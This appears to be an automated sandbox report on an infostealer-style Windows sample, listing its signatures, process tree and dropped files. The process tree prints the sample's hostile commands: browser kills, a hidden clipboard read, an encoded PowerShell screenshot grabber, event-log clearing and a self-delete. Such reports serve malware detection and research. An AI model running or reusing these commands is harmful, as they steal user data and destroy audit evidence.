Overview

overview

8

Static

static

3

2026-07-28...t_.exe

windows10-2004-x64

8

2026-07-28...t_.exe

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/07/2026, 01:41

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-07-28_c3e76ea9a8f62220dbf2bfa6418226dd_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
  • Size 63.5MB
  • Sample260728-b378fshm4x
  • SHA256 19c0601d3ec2cbfcf6b9d6bddf9ec5076b8f409c67fef28921e014d666cc7ddc
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
defense_evasiondiscoveryexecutionspywarestealer

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell and hide display window.

    execution
  • Loads dropped DLL 5 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Contacts third-party web service commonly abused for C2 1 TTPs 8 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

    discovery
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
    discovery
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Executes a command shell one-liner 1 TTPs 13 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of AdjustPrivilegeToken 21 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-28_c3e76ea9a8f62220dbf2bfa6418226dd_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-28_c3e76ea9a8f62220dbf2bfa6418226dd_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:6140
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "net session"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1948
      • C:\Windows\system32\net.exe
        net session
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5768
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          4⤵
            PID:4156
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:616
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:2664
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe /T"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1796
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM chrome.exe /T
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2308
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe /T"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2104
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM brave.exe /T
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3836
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe /T"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2908
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM msedge.exe /T
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:244
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe /T"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3008
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM opera.exe /T
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2440
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe /T"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5480
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM vivaldi.exe /T
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1832
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-Clipboard -Raw"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:716
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -EncodedCommand CgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAKAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAeQBzAHQAZQBtAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBdADoAOgBWAGkAcgB0AHUAYQBsAFMAYwByAGUAZQBuAAoAJABiAGkAdABtAGEAcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAIAAkAGIAbwB1AG4AZABzAC4AVwBpAGQAdABoACwAIAAkAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQACgAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEcAcgBhAHAAaABpAGMAcwBdADoAOgBGAHIAbwBtAEkAbQBhAGcAZQAoACQAYgBpAHQAbQBhAHAAKQAKACQAZwByAGEAcABoAGkAYwBzAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABiAG8AdQBuAGQAcwAuAFgALAAgACQAYgBvAHUAbgBkAHMALgBZACwAIAAwACwAIAAwACwAIAAkAGIAbwB1AG4AZABzAC4AUwBpAHoAZQApAAoAJABiAGkAdABtAGEAcAAuAFMAYQB2AGUAKAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABNAGkAYwByAG8AcwBvAGYAdABcAFUAcwBlAHIAUwBlAHQAdABpAG4AZwBzAFwAdgBOAG0ARAB1AEMASQBKAHIASgBcAEUATgAtAFkAcgB3AGsAagBsAGQAdQBcAFMAYwByAGUAZQBuAHMAaABvAHQAXABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AcABuAGcAIgAsACAAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBJAG0AYQBnAGkAbgBnAC4ASQBtAGEAZwBlAEYAbwByAG0AYQB0AF0AOgA6AFAAbgBnACkACgAKACQAZwByAGEAcABoAGkAYwBzAC4ARABpAHMAcABvAHMAZQAoACkACgAkAGIAaQB0AG0AYQBwAC4ARABpAHMAcABvAHMAZQAoACkACgAiAE8ASwAiAAoA"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5584
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -ExecutionPolicy Bypass -NoProfile -EncodedCommand CgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAKAAoAJABiAG8AdQBuAGQAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAeQBzAHQAZQBtAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBdADoAOgBWAGkAcgB0AHUAYQBsAFMAYwByAGUAZQBuAAoAJABiAGkAdABtAGEAcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAIAAkAGIAbwB1AG4AZABzAC4AVwBpAGQAdABoACwAIAAkAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQACgAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEcAcgBhAHAAaABpAGMAcwBdADoAOgBGAHIAbwBtAEkAbQBhAGcAZQAoACQAYgBpAHQAbQBhAHAAKQAKACQAZwByAGEAcABoAGkAYwBzAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABiAG8AdQBuAGQAcwAuAFgALAAgACQAYgBvAHUAbgBkAHMALgBZACwAIAAwACwAIAAwACwAIAAkAGIAbwB1AG4AZABzAC4AUwBpAHoAZQApAAoAJABiAGkAdABtAGEAcAAuAFMAYQB2AGUAKAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABNAGkAYwByAG8AcwBvAGYAdABcAFUAcwBlAHIAUwBlAHQAdABpAG4AZwBzAFwAdgBOAG0ARAB1AEMASQBKAHIASgBcAEUATgAtAFkAcgB3AGsAagBsAGQAdQBcAFMAYwByAGUAZQBuAHMAaABvAHQAXABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AcABuAGcAIgAsACAAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBJAG0AYQBnAGkAbgBnAC4ASQBtAGEAZwBlAEYAbwByAG0AYQB0AF0AOgA6AFAAbgBnACkACgAKACQAZwByAGEAcABoAGkAYwBzAC4ARABpAHMAcABvAHMAZQAoACkACgAkAGIAaQB0AG0AYQBwAC4ARABpAHMAcABvAHMAZQAoACkACgAiAE8ASwAiAAoA
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2956
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -Command "Clear-EventLog -LogName 'Application'""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:860
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -WindowStyle Hidden -Command "Clear-EventLog -LogName 'Application'"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1520
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -Command "Clear-EventLog -LogName 'System'""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3100
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -WindowStyle Hidden -Command "Clear-EventLog -LogName 'System'"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2424
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -Command "Clear-EventLog -LogName 'Security'""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4700
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -WindowStyle Hidden -Command "Clear-EventLog -LogName 'Security'"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5280
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -Command "Clear-EventLog -LogName 'Setup'""
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4864
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -WindowStyle Hidden -Command "Clear-EventLog -LogName 'Setup'"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5524
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "cmd /c ping 127.0.0.1 -n 3 > nul & del /f /q "C:\Users\Admin\AppData\Local\Temp\2026-07-28_c3e76ea9a8f62220dbf2bfa6418226dd_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe""
        2⤵
        • Executes a command shell one-liner
        • System Network Configuration Discovery: Internet Connection Discovery
        PID:5996

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          node_dpapi.node
          • Path C:\Users\Admin\AppData\Local\Microsoft\UserSettings\node_dpapi.node
          • Size 136KB
          • SHA256 042952fabdd38a3b84572bd8f5e4697152ce8491eb3fe620d2a140ef3d4330d5
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          node_sqlite3.node
          • Path C:\Users\Admin\AppData\Local\Microsoft\UserSettings\node_sqlite3.node
          • Size 1.8MB
          • SHA256 f806f89dc41dde00ca7124dc1e649bdc9b08ff2eff5c891b764f3e5aefa9548c
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          EN-Yrwkjldu.zip
          • Path C:\Users\Admin\AppData\Local\Microsoft\UserSettings\vNmDuCIJrJ\EN-Yrwkjldu.zip
          • Size 411KB
          • SHA256 1d91830af25f002d74792f4da8968836cfdd9981ccb6afee41c9b50871ef5c03
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          screenshot.png
          • Path C:\Users\Admin\AppData\Local\Microsoft\UserSettings\vNmDuCIJrJ\EN-Yrwkjldu\Screenshot\screenshot.png
          • Size 423KB
          • SHA256 7b716725e1a89d6f3a86e7e329361ef20969238bbd8a0c85d30c1caff7b2e4fa
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 09d94ede57e23e4ed4e509d9d33a2586f2accf348e80f7f5671a19f70821c7c5
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 23fe4313fdbba170d7affa67b10afd28f56d9c68d51c1d1d82bf90fe4cd272a8
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 60292489db6d4ba2a3e4448639fbe7fa2261be477f63ef09bca0b55e520a4777
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 bcf8325db72c06bb7f6a8df3c4648a150d766a1857214c6b533c467029424ce8
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          __PSScriptPolicyTest_3sprn1kw.gg4.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3sprn1kw.gg4.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          memory/716-36-0x000001FD34A00000-0x000001FD34A22000-memory.dmp
          Download